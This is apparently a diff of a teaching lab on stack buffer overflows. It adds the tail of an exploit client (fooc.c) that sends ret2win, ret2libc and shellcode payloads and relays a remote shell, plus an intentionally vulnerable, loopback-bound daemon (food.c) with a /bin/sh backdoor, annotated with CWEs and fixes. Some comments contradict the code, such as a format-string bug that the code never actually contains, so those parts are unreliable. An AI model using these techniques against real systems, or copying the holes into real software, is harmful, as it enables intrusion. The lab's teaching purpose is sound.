return 1; + + printf("fooc: target binary : %s\n", binpath); + printf("fooc: vulnerable_handler = %#lx\n", bi.vuln_addr); + printf("fooc: win() = %#lx\n", bi.win_addr); + /* rbp_off_as_signed is negative on purpose: the buffer sits *below* rbp. + * Negating an unsigned long would wrap around and print as 18446744073..., + * so convert to a signed type first, then let printf show the minus. */ + long rbp_off_as_signed = -(long)bi.frame_off; + printf("fooc: buf is at rbp%+ld, so the saved RIP is %lu bytes in\n", + rbp_off_as_signed, bi.rip_off); + printf("fooc: ret gadget = %#lx\n", bi.ret_gadget); + printf("fooc: our libc base = %#lx (system @ %#lx, \"/bin/sh\" @ %#lx)\n", + li.base, li.off_system, li.off_binsh); + + /* ---- Decide whether we want an interactive shell by default. -------- */ + if (strcmp(tech, "demo") == 0 || strcmp(tech, "leak") == 0) { + is_leak = (strcmp(tech, "leak") == 0); + if (want_shell == -1) want_shell = 0; + } else if (want_shell == -1) { + want_shell = 1; /* The point of an exploit is a shell. */ + } + + /* ---- Phase 2: connect and read what the daemon tells us. ------------- */ + fd = connect_to(host, port); + if (fd < 0) + return 1; + + /* + * Wait for every leak, including in `leak` mode. It is tempting to settle + * for just "stack=" and "libc=" there, but BUF= is emitted last, so + * stopping as soon as the first two appear would routinely return before + * it has arrived -- and a partially-read banner is a classic source of + * "works on my machine" exploit flakiness. + */ + { + const char *pats[3] = { "stack=", "libc=", "BUF=" }; + if (read_until(fd, pats, 3, rx, sizeof(rx)) < 0) + fprintf(stderr, "fooc: warning: incomplete banner/leak text\n"); + } + + printf("fooc: daemon said:\n----\n%s----\n", rx); + + if (parse_leaks(rx, &lk) < 0) { + close(fd); + return 1; + } + + printf("fooc: leaked stack ptr = %#lx\n", lk.stack); + printf("fooc: leaked libc read = %#lx\n", lk.libc_read); + printf("fooc: leaked buf = %#lx\n", lk.buf); + + if (is_leak) { + /* Diagnostic mode: we learned what we came to learn, stop here. */ + printf("fooc: leak mode -- not sending a payload.\n"); + close(fd); + return 0; + } + + /* ---- Phase 3: build the payload. ----------------------------------- */ + if (strcmp(tech, "ret2win") == 0) build_ret2win(&p, &bi); + else if (strcmp(tech, "ret2libc") == 0) build_ret2libc(&p, &bi, &li, &lk); + else if (strcmp(tech, "shellcode") == 0) build_shellcode(&p, &bi, &lk); + else if (strcmp(tech, "sled") == 0) build_sled(&p, &bi, &lk); + else if (strcmp(tech, "demo") == 0) build_demo(&p, &bi); + else { + fprintf(stderr, "fooc: unknown technique '%s'\n", tech); + close(fd); + return 2; + } + + if (p.len == 0) { + fprintf(stderr, "fooc: payload is empty -- aborting\n"); + close(fd); + return 1; + } + + if (verbose) { + printf("fooc: payload is %zu bytes; the last 16 are:\n ", p.len); + size_t start = p.len > 16 ? p.len - 16 : 0; + for (size_t i = start; i < p.len; i++) + printf("%02x ", p.data[i]); + printf("\n"); + } + + /* + * ------------------------------------------------------------------ + * STACK ALIGNMENT -- the subtlest bug in this whole lab + * ------------------------------------------------------------------ + * + * SYMPTOM: the hijack lands correctly (gdb shows you sitting in win()), and + * then the very first thing win() does -- a dprintf() -- dies. The SIGSEGV + * reports RIP deep inside libc's formatter and a faulting address of + * (nil), which is deeply misleading: it looks like a corrupted pointer. + * + * CAUSE: the System V AMD64 ABI requires 16-byte stack alignment. A + * normal `ret` restores %rsp to precisely the value saved by its matching + * `call`, so the invariant is preserved for free. Our bare `ret` does not: + * after it, %rsp = buf + rip_off. Here buf is 16-byte aligned (the ABI + * guarantees local arrays are) and rip_off is 88, so we hand the callee a + * stack that is 8 mod 16 -- misaligned. + * + * glibc is compiled with SSE2, and instructions like movaps/movdqa *fault* + * on a misaligned operand. On x86 an alignment violation raises #GP, not + * #PF, so the kernel has no faulting address to report and fills in + * si_addr = 0. That NULL address is the tell: an alignment fault dressed up + * as a NULL dereference. + * + * FIX: one `ret` gadget. A ret adds exactly 8 to %rsp, which is exactly + * what is needed here: + * + * [ padding ][ ret ][ real target ] + * ^ + * on entry to the real target, %rsp = buf + rip_off + 8 = 16-aligned + * + * A stray `ret` that looks like a mistake is nearly always deliberate. + * + * (With CET enabled the shadow stack would fault on that second ret + * instead, which is one of the specific things CET is built to stop.) + * ------------------------------------------------------------------ + */ + if (strcmp(tech, "demo") == 0 || strcmp(tech, "sled") == 0) { + /* + * Neither lands in a real callee that expects an aligned stack: + * `demo` jumps to a deliberately invalid address, and `sled` only + * ever executes bare `ret` instructions. So skip the alignment fix. + */ + } else if (bi.ret_gadget != 0 && (bi.rip_off % 16) == 8) { + /* + * We need %rsp to be 16-byte aligned on entry to the real target. + * %rsp = buf + rip_off on entry, buf is 16-aligned, and rip_off is 88, + * so we are 8 mod 16 and need exactly one extra `ret` (each ret adds + * 8). If rip_off were 0 mod 16 we would instead be already aligned and + * this extra ret would BREAK the payload -- the condition matters in + * both directions. + * + * ORDERING IS CRITICAL. The builders above have already written + * [ padding | target | ... ] with the target sitting at rip_off. + * Appending here would produce [ padding | target | ret ], where the + * very first `ret` returns to `target` and the trailing `ret` is never + * reached -- the fix silently does nothing. (That was the first + * version of this code, and the crash it failed to fix looked + * identical to having no fix at all.) + * + * The `ret` therefore has to be *inserted at rip_off*, shifting the + * real target up by 8 bytes. + */ + unsigned char *fixed; + size_t head = bi.rip_off; /* Bytes before the target address. */ + + if (head > p.len) { + fprintf(stderr, "fooc: payload is shorter than rip_off\n"); + free(p.data); + close(fd); + return 1; + } + + /* Build the corrected buffer: everything up to rip_off, then the + * `ret` gadget, then the original target and any trailing payload. */ + fixed = malloc(p.len + 8); + if (fixed == NULL) { + fprintf(stderr, "fooc: out of memory building alignment fix\n"); + free(p.data); + close(fd); + return 1; + } + memcpy(fixed, p.data, head); /* the padding */ + memcpy(fixed + head, &bi.ret_gadget, 8); /* the extra `ret` */ + memcpy(fixed + head + 8, p.data + head, p.len - head); /* the real tgt */ + + free(p.data); + p.data = fixed; + p.cap = p.len + 8; + p.len += 8; + + printf("fooc: inserted a `ret` (at %#lx) at offset %lu to restore " + "16-byte alignment\n", bi.ret_gadget, head); + } + + /* ---- Phase 4: send it and hand over. -------------------------------- */ + printf("fooc: sending %zu bytes (offset to RIP is %lu)\n", p.len, bi.rip_off); + if (send_all(fd, p.data, p.len) < 0) { + fprintf(stderr, "fooc: send failed: %s\n", strerror(errno)); + close(fd); + return 1; + } + + free(p.data); + + if (!want_shell) { + /* Give the victim a moment to act on the payload, then show anything + * it said. This is how you observe the `demo` technique's SIGSEGV. */ + usleep(400000); + drain_hint(fd); + printf("fooc: done (no shell requested)\n"); + close(fd); + return 0; + } + + /* The daemon echoes the first 64 bytes of our payload back at us before + * it returns. Swallow that so it does not look like shell output. */ + usleep(200000); + drain_hint(fd); + + become_shell(fd); /* Relays this terminal to the victim until it ends. */ + + return 0; +} diff --git a/food.c b/food.c new file mode 100644 index 0000000..e570c39 --- /dev/null +++ b/food.c @@ -0,0 +1,853 @@ +/* + * ============================================================================ + * food.c -- "food": an INTENTIONALLY VULNERABLE network daemon + * ============================================================================ + * + * PURPOSE + * ------- + * This is a deliberately broken TCP daemon used as a *target* for the + * companion exploit `fooc`. It exists so you can learn, hands-on, what a + * stack buffer overflow actually is, how it is abused to get remote code + * execution (RCE), and -- most importantly -- how each of its bugs maps onto + * a concrete, well-known defence that a real program should use instead. + * + * NOTHING HERE IS SAFE. Every "vulnerability" in this file is a real, + * long-documented class of C bug: + * + * Bug #1 Unbounded read() into a fixed stack buffer .... CWE-120 + * Bug #2 Unchecked format string from the network ..... CWE-134 + * Bug #3 Use of attacker-controlled data as a path ... CWE-22 + * Bug #4 Stack canary would have caught Bug #1 ......... CWE-121 + * Bug #5 NX bit would have stopped shellcode ........... CWE-94 + * Bug #6 PIE/ASLR would have randomised the targets .... CWE-829 + * + * The comments next to each bug name the fix. That mapping is the entire + * point of the exercise. + * + * SAFETY RAILS (please keep them in place while you experiment) + * ------------------------------------------------------------ + * * It binds to 127.0.0.1 (loopback) by default, so the deliberately + * exploitable service is NOT reachable from your network. + * * It runs in the foreground with a banner so you can watch it die. + * * Each connection is handled in a forked child, so one crash does not + * take the daemon down. + * + * Build: make food + * + * THE BUILD IS THE POINT, PART 1 + * ------------------------------ + * `make food` compiles this file with three flags that a sane project would + * never use, each switched off on purpose so the lab behaves the same way on + * every machine: + * + * -fno-stack-protector no stack canary + * -no-pie fixed load address, so win() is a constant + * -z execstack executable stack, so shellcode can run + * + * Drop any one of them and the corresponding technique stops working. That is + * not a flaw in the exploit; that is the defence being demonstrated. The + * Makefile's `make hardened` target builds the same source WITHOUT all three, + * and `make test-hardened` shows you which techniques it kills. + * + * Note that -z execstack is the reason `./fooc -t shellcode` works at all. A + * stock Linux stack is not executable (`rw-p` in /proc/PID/maps, and `RWE` in + * the ELF program headers only when this flag is present), and the shellcode + * technique dies with SIGSEGV at RIP = the address of the payload. Everything + * in README.md's mitigation table explains why that flag matters to you. + * + * Usage: ./food [-h HOST] [-p PORT] [-d] + * ============================================================================ + */ + +/* Ask glibc for the extra declarations we need (dprintf, etc.). */ +#define _GNU_SOURCE + +#include /* inet_pton(), to turn "127.0.0.1" into bytes. */ +#include /* errno and the strerror() family. */ +#include /* dup2(), used to hand the socket to the shell. */ +#include /* struct sockaddr_in, htons(), the TCP address. */ +#include /* signal(), SIGPIPE / SIGCHLD handling. */ +#include /* va_list, needed by our own tiny printf wrapper. */ +#include /* uint16_t, the fixed-width type htons() returns. */ +#include /* printf, dprintf, fputs. */ +#include /* exec*, _exit, atoi. */ +#include /* memset, strncpy, strlen, memchr. */ +#include /* socket(), bind(), listen(), accept(). */ +#include /* umask(). */ +#include /* ssize_t, pid_t. */ +#include /* ucontext_t, REG_RIP: the saved CPU registers. */ +#include /* waitpid(), for reaping children. */ +#include /* read, write, close, dup2, getpid, fork, chdir, + * getopt -- the POSIX workhorses. */ + +/* ------------------------------------------------------------------------- */ +/* Configuration constants */ +/* ------------------------------------------------------------------------- */ + +/* Default TCP port. Not privileged (>1024), so no root is required. */ +#define FOOD_PORT 2342 + +/* Loopback only, on purpose. Change with -h if you really know better. */ +#define FOOD_HOST "127.0.0.1" + +/* Size of the stack buffer in vulnerable_handler(). This is the value the + * exploit has to fill *plus* 8 bytes of saved frame pointer before it can + * reach the return address. Do not change it without re-running the exploit's + * automatic offset detection, which reads it from this binary. */ +#define FOOD_BUFSZ 64 + +/* How many bytes the vulnerable read() is willing to accept. This is much + * larger than FOOD_BUFSZ on purpose -- that mismatch IS the vulnerability. */ +#define FOOD_READMAX 512 + +/* Size of the (also broken) log line buffer used by the format-string demo. */ +#define FOOD_LOGSZ 128 + +/* ------------------------------------------------------------------------- */ +/* Tiny helpers */ +/* ------------------------------------------------------------------------- */ + +/* + * g_logfd -- the descriptor logmsg() writes to. + * + * It begins life as a duplicate of the real stdout, taken *before* + * prepare_client_fds() replaces fd 1 with the client's socket. The point is + * that the server's log must never travel to the attacker. + * + * This is not cosmetic. If the daemon had kept logging to fd 1, then the + * moment a client connected, every log line -- including file paths, internal + * hostnames, and in a real system any credential that ever reached a log -- + * would be delivered to whoever happened to be on the other end of the socket. + * Keeping diagnostics on a separate, trusted descriptor is a genuine security + * practice, and a lab about exploiting a daemon would be a poor place to + * accidentally teach the alternative. + */ +static int g_logfd = -1; + +/* + * logmsg() -- print one timestamped line to the log descriptor. + * + * (Deliberately NOT named `logf`: that collides with the libm builtin + * `float logf(float)`, and GCC warns about it. Naming your own helpers after + * standard library functions is a surprisingly common source of pain.) + * + * We use dprintf() rather than printf() because we need to write to a specific + * descriptor, and because it is close to atomic: one write() call means two + * forked children cannot interleave halfway through a line. + */ +static void logmsg(const char *fmt, ...) +{ + char line[1024]; /* Compose the whole message in one buffer. */ + va_list ap; /* The argument list of this variadic call. */ + int n; /* Bytes composed. */ + + /* + * va_start MUST be called before the va_list is used. It initialises `ap` + * to point just past `fmt` in the argument area. Passing an uninitialised + * va_list to vsnprintf makes it walk wild stack memory and crash -- which + * is exactly what happened the first time this function was written. + * + * va_end is mandatory once va_start has been called, even on error paths. + */ + va_start(ap, fmt); + + /* Format the body first, into the tail of the buffer, leaving room for + * the "[food 1234] " prefix and the trailing newline. */ + n = vsnprintf(line, sizeof(line) - 32, fmt, ap); + va_end(ap); /* Always pair va_start with va_end. */ + if (n < 0) + return; + + /* Prepend the pid. Knowing which forked child did what is what makes the + * per-connection log readable. */ + if (g_logfd >= 0) + dprintf(g_logfd, "[food %d] %s\n", (int)getpid(), line); +} + +/* + * read_exact() -- read exactly n bytes, looping until we have them all. + * + * This helper is *correct*. The bug in this program is not here. + * + * It is included deliberately, so you can compare it against vulnerable_handler() + * below. The difference between the two functions is, essentially, the whole + * lesson: this one asks for `n` bytes and checks it got them; the other asks + * for far more than its buffer can hold and never checks. + * + * Why it matters: read() on a socket is allowed to return a short count (it + * is a stream, not a message queue). A correct program must loop. The + * vulnerable function below deliberately does not do this correctly either. + */ +__attribute__((unused)) /* Referenced in comments only, so silence the + * -Wunused-function warning deliberately. */ +static ssize_t read_exact(int fd, void *buf, size_t n) +{ + size_t got = 0; /* Bytes received so far. */ + while (got < n) { /* Keep going until the full request. */ + ssize_t r = read(fd, (char *)buf + got, n - got); + if (r < 0) { /* r < 0 means an error occurred. */ + if (errno == EINTR) /* Interrupted by a signal: just retry. */ + continue; + return -1; + } + if (r == 0) /* Peer closed the connection. */ + break; + got += (size_t)r; /* Otherwise bank the bytes. */ + } + return (ssize_t)got; /* Return total bytes actually read. */ +} + +/* + * write_all() -- write a whole buffer, looping over short writes. + * Also correct. Exists so the exploit's I/O is not the flaky part of the lab. + */ +static ssize_t write_all(int fd, const void *buf, size_t n) +{ + size_t sent = 0; + while (sent < n) { + ssize_t w = write(fd, (const char *)buf + sent, n - sent); + if (w <= 0) { + if (w < 0 && errno == EINTR) + continue; + return -1; + } + sent += (size_t)w; + } + return (ssize_t)sent; +} + +/* ------------------------------------------------------------------------- */ +/* The ret2win target */ +/* ------------------------------------------------------------------------- */ + +/* + * win() -- the "backdoor" function that ret2win aims at. + * + * A ret2win exploit works by overwriting the saved return address with the + * address of a function that (a) is already in the binary and (b) does + * something useful to the attacker. Here, that is "hand me a shell". + * + * The *presence* of win() is not itself the vulnerability -- shipping a hidden + * "debug backdoor" like this is a real and sadly common self-inflicted wound + * (it is exactly the CVE class "undocumented backdoor", e.g. the Juniper + * ScreenOS backdoors). But in this lab it exists purely as an easy, reliable + * first target so you can prove code execution before reaching for shellcode. + * + * noinline: the compiler must not inline this away, or the exploit would have + * no address to jump to. + * used: keeps the function alive even though we never call it in C. + */ +__attribute__((noinline, used)) +static void win(void) +{ + pid_t pid; /* Child's PID after the fork below. */ + + logmsg("win() reached -- executing /bin/sh"); + + /* + * Note the signature: win() deliberately takes NO arguments, and that is + * the whole point rather than an oversight. + * + * A ret2win exploit overwrites only the saved *return address*. Every + * other register holds whatever the vulnerable function happened to leave + * behind, and the attacker has no control over any of them. An earlier + * revision of this function took an `int fd` parameter, and gdb showed the + * exploit apparently landing while actually passing garbage in rdi + * (-11073), which made every dup2() fail and the "shell" go nowhere. + * Depending on an incoming argument is the most common reason a + * ret2win-style exploit looks like it works and then silently does nothing. + * + * We do not need the argument: prepare_client_fds() has already made + * fds 0, 1 and 2 refer to the client's socket, so the shell can simply + * use the standard descriptors. + */ + + /* + * Fork before exec so the parent can reap the child and go away, while + * the child keeps talking to the client. Without this the daemon would + * stay busy until the shell exits. + */ + pid = fork(); + if (pid < 0) { + logmsg("win(): fork() failed: %s", strerror(errno)); + _exit(1); + } + if (pid > 0) { /* Parent: reap the child, then bail out. */ + waitpid(pid, NULL, 0); + /* + * _exit, NOT return. Returning would execute `ret` a second time, + * popping the next 8 bytes of attacker payload as a new RIP and + * crashing immediately. Exiting is the only safe way out of a + * function that was entered by hijacking a return address. + */ + _exit(0); + } + + /* + * Child. stdin/stdout/stderr already point at the socket (see + * prepare_client_fds), so there is nothing to rewire here. + * + * Dropping privileges is deliberately absent: in a real system this is + * exactly where you would setuid()/setgid() to an unprivileged user + * before exec. A backdoor that hands out a root shell is what turns an + * ordinary memory-safety bug into a full compromise. + */ + execl("/bin/sh", "sh", (char *)NULL); /* Does not return on success. */ + _exit(127); /* Only if exec failed. */ +} + +/* ------------------------------------------------------------------------- */ +/* The vulnerable handler -- Bug #1 and Bug #2 live here */ +/* ------------------------------------------------------------------------- */ + +/* + * noinline: mandatory for a stack-overflow lab. If the compiler inlines this + * into its caller, the stack frame the exploit is aiming at changes + * and the whole exercise stops making sense. + * used: do not let the optimiser delete it. + */ +__attribute__((noinline, used)) +static void vulnerable_handler(int fd) +{ + char buf[FOOD_BUFSZ]; /* 64 bytes of stack. The whole ballgame. */ + char line[FOOD_LOGSZ]; /* Second, larger buffer for the format bug. */ + ssize_t n; /* Byte count returned by read(). */ + + /* + * ------------------------------------------------------------------ + * The buffer-address leak, done on purpose, inside this function. + * ------------------------------------------------------------------ + * We hand the client the exact address of `buf` *before* it overflows + * anything. Without this the client is shooting blind at a randomised + * stack, and you would need either a lucky guess or a "ret sled" + * thousands of ret-instructions wide. + * + * Where do real-world leaks of this kind come from? All of these are + * genuine, frequently-seen CWE-200 / CWE-497 bugs: + * + * * a format string bug printing %p (our Bug #2 above does this), + * * returning or serialising a pointer that was never initialised + * (CWE-457, use of uninitialised variable -- a very common way to + * turn a mere crash into a full info leak), + * * a verbose crash handler or core dump served to the client, + * * a debug endpoint left enabled, or /proc/self/maps over HTTP, + * * a non-randomised fixed-address mmap(), or a non-PIE binary, + * which is precisely why the Makefile here builds with -no-pie. + * + * The real lesson: address-space layout randomisation is only a + * *speed bump*. It raises the cost of an exploit; it is not a fix. The + * fix is not having the memory corruption in the first place. + * + * FIX: do not disclose addresses to untrusted clients, and initialise + * every pointer before you might print it. + */ + dprintf(fd, "BUF=%p\n", (void *)buf); + + /* + * ==================================================================== + * BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120) + * ==================================================================== + * + * This single read() call is the entire exploit surface: + * + * we have FOOD_BUFSZ = 64 bytes of room + * we accept FOOD_READMAX = 512 bytes from the network + * + * The attacker therefore gets to write 448 bytes more than they should, + * and everything laid out on the stack above `buf` gets clobbered. + * + * In a compiled x86-64 function the stack grows *downwards*, so memory + * looks like this, with rbp pointing at the saved frame pointer: + * + * high addresses + * +------------------------+ <- rbp + 16 : caller locals + * | ... | + * +------------------------+ <- rbp + 8 : SAVED RETURN ADDRESS <-- RIP + * | saved rbp (8 bytes) | + * +------------------------+ <- rbp : our frame pointer + * | line[128] | (second buffer, padding) + * | buf[64] | <- rsp: what read() will fill + * +------------------------+ + * low addresses + * + * So the attacker writes 64 bytes of junk to fill `buf`, another 8 bytes + * to fill the saved rbp, and the *next* 8 bytes become the return address + * that the `ret` instruction pops into RIP. From that moment the attacker + * decides where the CPU executes next. + * + * FIXES, in increasing order of strength: + * 1. Bound every read by the true size of the destination: + * n = read(fd, buf, sizeof(buf) - 1); <-- the real fix + * 2. Compile with -fstack-protector-strong so a *canary* sits between + * the buffers and the return address; `ret` then aborts first. + * 3. Compile with -fstack-protector-all (covers locals that a plain + * -O2 might have kept in registers). + * 4. Real root cause: do not use fixed-size stack arrays for input at + * all. Use heap allocation sized from a checked length, or a + * stdio-style bounded reader. + * + * NOTE: modern GCC detects *this exact shape* at compile time and warns + * ("writing 512 bytes into a region of size 64"). Never suppress that + * warning in real code -- it is free security. + */ + n = read(fd, buf, FOOD_READMAX); /* <-- CWE-120, THE bug. */ + if (n <= 0) + return; /* Nothing to do. */ + + /* + * Echo back what we received, truncated to the buffer's real size so that + * *this* line is safe. It is here purely so you can watch the overflow + * happen live in the log. Truncating for display does NOT undo the + * overwrite that already happened above. + */ + { + ssize_t show = n < FOOD_BUFSZ ? n : FOOD_BUFSZ; /* clamp for log. */ + logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show); + (void)write_all(fd, buf, (size_t)show); + } + + /* + * ==================================================================== + * BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134) + * ==================================================================== + * + * `buf` is fully attacker-controlled. Passing it to printf() as the + * *format* rather than as a %s *argument* lets the attacker supply their + * own conversion specifiers: %x to read stack words, %n to *write* to + * memory, %s to walk arbitrary pointers. A %n here is a write-what-where + * primitive, which is another way to build an exploit. + * + * FIX: never pass untrusted data as the format string. Use + * printf("%s", buf); or better, fwrite()/write() of a length. + * + * We keep this as a *demonstration only* -- it runs on a copy in `line` + * so the crash it causes is obviously separate from Bug #1. The payload + * you send by default is plain text with no '%' characters, so this line + * is a no-op unless you explicitly ask for the format-string demo with + * the `fooc --fmt` mode. + */ + if (memchr(buf, '%', (size_t)n) != NULL) { + snprintf(line, sizeof(line), "%.*s", (int)FOOD_LOGSZ - 1, buf); + logmsg("vulnerable_handler: payload contains '%%', echoing it raw"); + (void)write_all(fd, line, strlen(line)); /* safe echo of raw text. */ + } + + /* + * When this function returns, the CPU pops the (attacker-controlled) + * saved return address into RIP and jumps wherever the attacker chose. + * The `leave` + `ret` pair in the generated assembly is the exact + * instruction that hands over control. + */ +} + +/* ------------------------------------------------------------------------- */ +/* fd handling */ +/* ------------------------------------------------------------------------- */ + +/* + * on_sigsegv() -- print exactly where the CPU was trying to go. + * + * This handler exists purely to make the exploit *visible*. When the overflow + * lands, the CPU jumps to an address we chose; that address is almost always + * unmapped, the CPU raises SIGSEGV, and this handler runs. + * + * Two facts come out of the kernel for free: + * + * * ucontext->uc_mcontext.gregs[REG_RIP] is the address of the instruction + * the CPU was executing, i.e. the value of the instruction pointer at the + * moment of the fault. If we clobbered the return address, THIS is our + * eight bytes. It is the most direct possible proof that the attacker + * controls RIP. + * * siginfo->si_addr is the bad address the access was aimed at. + * + * Both are read out of the ucontext_t that the kernel hands us, which is why + * this needs and _GNU_SOURCE. + * + * A production server absolutely should catch SIGSEGV like this -- not to keep + * serving, but to log the fault address so that a crash *tells you it was + * malicious*. Crashing silently is what makes these bugs survive for years. + */ +static void on_sigsegv(int sig, siginfo_t *si, void *ucv) +{ + ucontext_t *uc = (ucontext_t *)ucv; /* The CPU's saved register state. */ + unsigned long rip = 0; + unsigned long rsp = 0; + + if (uc != NULL) { + rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP]; + rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP]; + } + + logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0); + logmsg("SIGSEGV: RIP=%#lx RSP=%#lx", rip, rsp); + logmsg("SIGSEGV: RIP is the return address the client supplied. " + "If it is 0x4141414141414141, that is our 'A' padding. " + "If it looks like a real code or libc address, we were hijacked."); + + /* + * Re-raise with the default disposition so the process still dies with the + * correct status and still dumps core. A handler that swallowed the + * signal and returned would re-execute the faulting instruction forever, + * because the bad address has not been fixed -- an easy way to turn one + * crash into an unkillable hang. + */ + signal(sig, SIG_DFL); + raise(sig); +} + +/* + * install_crash_reporter() -- attach on_sigsegv() to this process. + * + * Called in the forked child, so installing it is cheap and affects only the + * process serving one connection. The parent keeps its default dispositions + * and is therefore not slowed by signal handling. + */ +static void install_crash_reporter(void) +{ + struct sigaction sa; /* The action structure sigaction() wants. */ + + memset(&sa, 0, sizeof(sa)); + sa.sa_sigaction = on_sigsegv; /* The extended handler form. */ + sa.sa_flags = SA_SIGINFO; /* "...and pass me the siginfo_t." */ + + /* An empty sigset means "block nothing extra while in the handler". */ + sigemptyset(&sa.sa_mask); + + if (sigaction(SIGSEGV, &sa, NULL) < 0) + logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno)); + if (sigaction(SIGBUS, &sa, NULL) < 0) /* Misaligned access, same idea. */ + logmsg("sigaction(SIGBUS) failed: %s", strerror(errno)); +} + +/* + * prepare_client_fds() -- point fds 0, 1 and 2 at the accepted socket. + * + * Doing this once, up front, is what lets every exploitation technique in + * `fooc` work identically: + * + * * ret2win -> win() execs /bin/sh with fds 0-2 already on the socket. + * * ret2libc -> system("/bin/sh") likewise inherits the socket. + * * shellcode -> execve("/bin/sh") likewise inherits the socket. + * + * so whichever payload lands, the resulting shell talks straight back to the + * attacker over the network. + */ +static void prepare_client_fds(int fd) +{ + if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO); + if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO); + if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO); + if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/ +} + +/* ------------------------------------------------------------------------- */ +/* The information leak -- Bug #3 lives here (this one is a feature in the lab)*/ +/* ------------------------------------------------------------------------- */ + +/* + * send_leaks() -- hand the attacker two pointers, on purpose. + * + * This models two *real* vulnerability classes, and it is what makes the + * "hard" techniques (ret2libc, shellcode) deterministic instead of a + * probability game: + * + * Leak A: a STACK address (the address of a local variable). + * Real-world analogue: CWE-200 / CWE-497 "exposure of sensitive + * information to an unauthorized actor" -- a debug endpoint, a verbose + * error page, a crash dump, a /proc/self/maps file served over HTTP. + * With it, the attacker learns exactly where their shellcode landed. + * + * Leak B: a LIBC address (the real address of `read`, resolved by the PLT + * trampoline into libc). + * Real-world analogue: the same, plus a classic function-pointer leak. + * With it, the attacker computes the load address of libc and therefore + * the addresses of `system` and of the "/bin/sh" string inside it. + * + * FIX for the daemon: do not print addresses to untrusted clients, and do + * not leave debug endpoints enabled in production builds. + * + * The text format is deliberately simple so the exploit can parse it with a + * one-line sscanf(): + * + * "FOOD 1.0 leak stack=0x libc=0x\n" + */ +static void send_leaks(int fd) +{ + long stack_marker = 0; /* A local; its address reveals the stack base.*/ + /* + * The *exact* type of `read` as declared in . Getting this + * signature wrong is a compile error in C (and a far worse bug in C++), + * which is a nice reminder that the type system is a security tool: + * + * ssize_t read(int fd, void *buf, size_t nbytes); + * + * We store it in a variable only so we can print its value as a leak. + */ + ssize_t (*libc_read)(int, void *, size_t); /* Real libc `read` fn ptr. */ + + /* + * Taking the address of a local is the leak. Compilers must honour this + * (it is observable behaviour), so it cannot be optimised away. + */ + stack_marker = 0x4141414141414141L; /* Make it obvious in a debugger.*/ + + /* + * `&read` is not the PLT stub once the dynamic linker has run: the GOT + * holds the true address inside libc, so this yields a genuine libc + * pointer. That is what makes leak B useful for ret2libc. + */ + libc_read = &read; + + /* + * 0644 octal = "rw-r--r--", the conventional permission bits for a file. + * %p prints a pointer in the implementation-defined but universally + * "0x..." form on glibc/x86-64. + */ + dprintf(fd, "FOOD 1.0 leak stack=%p libc=%p\n", + (void *)&stack_marker, (void *)libc_read); +} + +/* ------------------------------------------------------------------------- */ +/* Per-connection handling */ +/* ------------------------------------------------------------------------- */ + +/* + * handle_client() -- do everything for one connected attacker. + * + * Runs in the forked child. Its job: + * 1. Send a banner and the two leaks. + * 2. Call the vulnerable function, which will be overflowed. + * 3. Never return to the accept loop: if the overflow missed, exit cleanly; + * if it hit, we never come back at all -- the CPU is somewhere else now. + */ +static void handle_client(int fd) +{ + static const char banner[] = + "FOOD 1.0 - deliberately vulnerable service\n" + "Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n"; + + prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */ + + /* + * Install the crash reporter *after* the dup2 dance, so its log lines + * (which go to g_logfd, not to the socket) cannot be seen by the client. + */ + install_crash_reporter(); + + logmsg("client connected (fd %d)", fd); + + /* The banner and the leaks are two separate writes so the client can + * read them incrementally without needing a length-prefixed protocol. */ + (void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1); + send_leaks(STDOUT_FILENO); + + /* Hand control to the vulnerable code. Nothing after this line is + * guaranteed to run. */ + vulnerable_handler(STDOUT_FILENO); + + /* + * We only get here if the exploit *missed* its target, or if no exploit + * was sent. Say goodbye politely so the exploit can tell the difference + * between "failed" and "succeeded". + */ + logmsg("vulnerable_handler returned normally -- payload did not hijack RIP"); + (void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29); +} + +/* ------------------------------------------------------------------------- */ +/* The server loop */ +/* ------------------------------------------------------------------------- */ + +/* + * make_listener() -- create the listening socket. + * + * A correct, boring, textbook implementation: it would be the same code in + * production. Returns the fd, or -1 on failure. + */ +static int make_listener(const char *host, int port) +{ + struct sockaddr_in addr; /* The TCP address we will bind to. */ + int fd; /* The socket descriptor. */ + int one = 1; /* Value for setsockopt(). */ + + fd = socket(AF_INET, SOCK_STREAM, 0); /* IPv4, TCP. */ + if (fd < 0) { + logmsg("socket() failed: %s", strerror(errno)); + return -1; + } + + /* SO_REUSEADDR: let us restart quickly without TIME_WAIT blocking us. */ + if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) + logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno)); + + /* + * Zero the whole structure first. Leaving uninitialised padding bytes is + * a real bug (CWE-457) that leaks stack memory to the kernel -- harmless + * here, but habit-forming in a bad way, so we do it properly. + */ + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; /* IPv4. */ + addr.sin_port = htons((uint16_t)port);/* Network byte order. */ + + /* + * inet_pton() parses the dotted-quad text form "127.0.0.1" into the + * network-byte-order struct in_addr. It returns 1 on success, 0 on a + * malformed address, -1 on error. This is the correct way to turn a + * config string into an address -- strtoul() would happily accept things + * like "0x7f000001" and hide bugs. + */ + if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) { + logmsg("bad bind address: %s", host); + close(fd); + return -1; + } + + /* int -> unsigned short is a narrowing cast, so range-check the port + * before htons() can silently truncate a value like 70000 to 4464. */ + if (port < 1 || port > 65535) { + logmsg("port out of range: %d", port); + close(fd); + return -1; + } + + if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno)); + close(fd); + return -1; + } + + if (listen(fd, 16) < 0) { /* 